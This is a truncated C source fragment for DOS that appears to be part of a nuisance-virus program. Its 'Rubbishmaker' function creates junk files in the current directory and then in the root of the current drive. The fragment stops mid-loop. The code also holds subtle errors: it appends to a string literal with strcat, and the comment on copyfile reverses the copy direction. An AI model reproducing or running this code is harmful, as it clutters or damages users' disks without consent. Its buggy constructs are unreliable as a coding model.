#include <io.h> #include <dir.h> #include <stdio.h> #include <stdlib.h> #include <string.h> /* copy outfile to infile */ void copyfile(char *infile, char *outfile) { FILE *in,*out; in = fopen(infile,"r"); out = fopen(outfile,"w"); while (!feof(in)) { fputc(fgetc(in),out); } fclose(in); fclose(out); } /* This function named Rubbishmaker. */ void MakeRubbish() { int i; FILE *fp; char *path; char *NewName; char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":\\"; /* Make some rubbish at the current catalogue */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX" ; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); } /* make some rubbish at the root catalogue */ path = strcat(disk[getdisk()],addtion); /* get the root catalogue */ chdir(path); /*change directory according to the "path" */ for (i = 0; i<5; i++)